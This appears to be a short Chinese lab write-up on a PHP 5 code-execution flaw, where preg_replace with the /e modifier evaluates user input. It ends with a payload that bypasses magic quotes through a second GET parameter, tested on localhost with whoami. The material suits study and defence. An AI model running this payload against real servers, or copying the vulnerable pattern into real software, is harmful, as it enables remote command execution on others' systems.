

php
<?php
highlight_file(__FILE__);
$input = $_GET['data'];
echo preg_replace("/(.*)/e", "\\1", $input);
?>
关键的代码如下
php
echo preg_replace("/(.*)/e", "\\1", $input);
在 PHP 5.x 中,preg_replace 函数的 /e 修饰符会将替换后的字符串作为 PHP 代码执行。
下面是关于正则表达式的拆解:
. = 匹配单个字符
* = 匹配前面的内容0次或者多次
( ) = 将匹配的内容包裹起来
后面的\\1表示引用第一个括号里面的内容
那么这个代码其实等价于
php
echo eval($input);
如果我们直接传递下面的payload,就会出现报错
php
?data=system('ls')
原因是因为,PHP魔术引号的原因会自动将'变成\'导致出错

这里我们可以参数二次传递的方式来避免'
下面是我本地测试的payload,用whoami检测命令是否可行
php
http://127.0.0.1/s1.php?data=system($_GET[a])&a=whoami
成功执行
